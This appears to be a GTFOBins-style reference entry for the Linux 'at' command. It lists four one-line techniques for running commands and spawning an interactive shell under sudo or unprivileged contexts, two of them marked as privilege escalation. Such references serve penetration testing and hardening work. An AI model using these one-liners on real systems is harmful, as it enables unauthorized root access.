GTFO · Tool

at

4 techniquesLinuxGTFOBinsGPL-3.0

command

ExecutionPrivilege EscalationLinux

echo /path/to/command | at now

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: command
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/at/

ExecutionLinux

echo /path/to/command | at now

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: command
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/at/

ExecutionPrivilege EscalationLinux

`tail` is used to pause the terminal.

echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/at/

ExecutionLinux

`tail` is used to pause the terminal.

echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/at/